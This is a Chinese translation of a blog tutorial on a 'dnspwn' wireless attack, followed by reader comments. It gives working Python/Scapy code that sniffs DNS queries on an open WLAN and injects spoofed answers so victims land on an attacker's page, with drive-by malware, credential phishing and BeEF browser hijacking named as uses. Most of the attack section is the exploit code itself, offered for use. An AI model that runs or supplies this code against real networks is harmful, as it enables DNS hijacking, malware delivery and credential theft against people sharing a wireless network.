使用Python进行无线攻击:第一部分 - “Dnspwn攻击” 已翻译 100%

renwofei423 投递于 2013/11/28 09:48 (共 8 段, 翻译完成于 11-30)
阅读 12654
收藏 369
34
加载中

引言

前不久,我在Raidersec博客上发布了一篇博客文章,介绍了如何利用Python和Scapy实现绕过鉴权的攻击。我非常高兴写出这篇文章,因为这么做我不仅了解了如何使用aircrack套件,还有机会深度地了解无线攻击运作方式有什么不同。

因此,正如文中所说,这篇博客文章将引出一系列讨论如何利用Python实现普通的无线攻击的短小精悍的博客文章。像以往一样,我希望你欣赏这篇文章,而且毫不犹豫地让我们知道你是否也有如下的评论或者问题。

几点人
几点人
翻译于 2013/11/29 14:20
4

"Dnspwn攻击"

我们将要进行的第一个攻击我称之为"dnspwn攻击"。(因为,在我看来,这种攻击首先使用"airpwn"工具创建了目标HTTP,然后对DNS进行攻击。) 这种攻击的思想非常简单:

假设在一个开放的WLAN上有两个人:Bob和Eve。Eve想让Bob访问她创建的恶意网页,这样她就可以通过隐藏性的下载给Bob的计算机上安装恶意软件,或者可能展示一个欺骗性的站点来试图窃取Bob的认证信息。

几点人
几点人
翻译于 2013/11/29 14:40
3

为了实现这种攻击,她记得她可侦听到所有从Bob计算机发出或者到达Bob计算机的请求。她还知道她比Bob正在请求的Web服务器离Bob更近。因此,她决定等待Bob发送Web请求,而且看看她是否能够在真正的Web服务器响应之前回送一个欺骗性的响应,以假装这个响应来自于web服务器。事实证明,她可以做到。实际上,一旦接收了欺骗性的响应,Bob的计算机可能将忽略任何后续接收到的信息,包括真正的响应。

让我们看一下这一些发生的过程,看起来如下:

因此,既然我们已经知道这种攻击如何运行的了,那么让我们把这种攻击自动化。

几点人
几点人
翻译于 2013/11/29 14:59
2

设置Alfa AWUS06H无线网卡

就像我在Raidersec博客文章里的哪个例子,我们将使用手边的Alfa AWUS036H实现这次攻击。我们需要做的第一件事情就是设置无线网卡在监控模式下,这样我们就可以捕获所有来自于演示性的不安全网络的信息流。

root@bt:~# airmon-ng start wlan0
既然我们已经启动了监控模式,并运行在mon0接口上,那么让我们开始编写代码吧!
几点人
几点人
翻译于 2013/11/29 15:10
2

编写攻击代码

我们将利用scapy模块实现这种攻击。我们开始先侦听目的端口为53的任何UDP包,然后发送这个包给我们后面将要编写名字为send_response的函数:

from scapy.all import *

sniff(prn=lambda x: send_response(x),
  lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)
现在,让我们创建一个可以解析请求中相关信息并注入应答的函数。我们只是通过如下逐层上移的方式解析包并创建响应:
  • 802.11帧-更改"to-ds"标记为"from-ds"(现在我们的请求将成为来自于访问点)
  • 802.11帧-交换源MAC地址和目的MAC地址
  • IP层-交换源IP地址和目的IP地址
  • UDP层-交换源端口和目的端口
  • DNS层-设置"answer"标记,添加欺骗性


几点人
几点人
翻译于 2013/11/29 15:26
2
幸运的是,通过抽象掉许多次要细节,scapy使这个变得相当轻松(例如,在一个802.11帧中,实际上具有4个MAC地址字段,根据包的方向,每一种都有不同的顺序)。如上所述,代码如下:
def send_response(x):
  # Get the requested domain
  req_domain = x[DNS].qd.qname
  spoofed_ip = '192.168.2.1'
  # Let's build our response from a copy of the original packet
  response = x.copy()
  # We need to start by changing our response to be "from-ds", or from the access point.
  response.FCfield = 2L
  # Switch the MAC addresses
  response.addr1, response.addr2 = x.addr2, x.addr1
  # Switch the IP addresses
  response.src, response.dst = x.dst, x.src
  # Switch the ports
  response.sport, response.dport = x.dport, x.sport
  # Set the DNS flags
  response[DNS].qr = 1L
  response[DNS].ra = 1L
  response[DNS].ancount = 1
现在设置了所有的标志,我们再创建添加上 DNS 应答:
response[DNS].an = DNSRR(
  rrname = req_domain,
  type = 'A',
  rclass = 'IN',
  ttl = 900,
  rdata = spoofed_ip
  )
最终,我们注入此欺骗响应:
sendp(response)
这就是全部了!你可以在 Github上找到所有源代码。
super0555
super0555
翻译于 2013/11/29 21:39
2

演示

对于这个演示,我有如下来自主机192.168.2.138的HTML响应:

<html>
<head></head>
<body>
  Owned.
</body>
</html>

值得注意的是,我们可以加上任何我们想要的HTML,Javascript,等等。举个例子,用BeEF 框架 来劫持浏览器是小菜一碟。

下面是处于攻击中的截图(我是用我的iPhone来做被攻击方):

super0555
super0555
翻译于 2013/11/29 21:47
2

总结 & 将来的改进

注意这个攻击方法对于其他简单的请求/响应协议也同样有效。例如,原始的“airpwn”攻击欺骗了HTTP响应。对于这个脚本,我们还可以进一步做一些改进和提高。下面就是其中的几个方面:

  • 通过正则表达式来匹配请求(例如,仅仅替换Javascript的内容)
  • 通过参数设置选项/从文件中读取配置信息
  • 实现其他协议的攻击(如HTTP)。
Enjoy!

Jordan

Ley
Ley
翻译于 2013/11/30 09:14
2
本文中的所有译文仅用于学习和交流目的,转载请务必注明文章译者、出处、和本文链接。
我们的翻译工作遵照 CC 协议,如果我们的工作有侵犯到您的权益,请及时联系我们。
加载中

评论(26)

紫枫闲人
紫枫闲人
这种攻击非要在无线下进行吗?有线下能实现吗?
小邪
小邪

引用来自“黄亿华”的评论

这不是gfw的专利技术么?

原文里的评论也说了,gfw真是人尽皆知了
sevk
sevk
dns ...
郑朔
郑朔
技术帝
雪候鸟
雪候鸟
mark,回头学习一下。
wireshark
wireshark
# Switch the MAC addresses
response.addr1, response.addr2 = x.addr2, x.addr1
# Switch the IP addresses
response.src, response.dst = x.dst, x.src

原文中说的第一项是MAC地址,第二项是IP地址,自己测试是两项是反过来的,response.src, response.dst = x.dst, x.src这里是拆分“AA:BB:CC...”这样的MAC格式的


BugScanner
BugScanner

引用来自“酒逍遥”的评论

原理很简单.... 通过监听同一个无线网络中..其他设备发出的 dns请求,然后抢在 真正的dns服务器返回dns信息之前 先发送给该设备错误的 dns信息...
这样就可以劫持 该设备的 dns..从而让该设备访问任何http站点时 定向到指定的站点.

这不是dns投毒嘛?
酒逍遥
酒逍遥
原理很简单.... 通过监听同一个无线网络中..其他设备发出的 dns请求,然后抢在 真正的dns服务器返回dns信息之前 先发送给该设备错误的 dns信息...
这样就可以劫持 该设备的 dns..从而让该设备访问任何http站点时 定向到指定的站点.
landidelong
landidelong
能力还没达到 有点看不懂
Everget
Everget
fck
返回顶部
顶部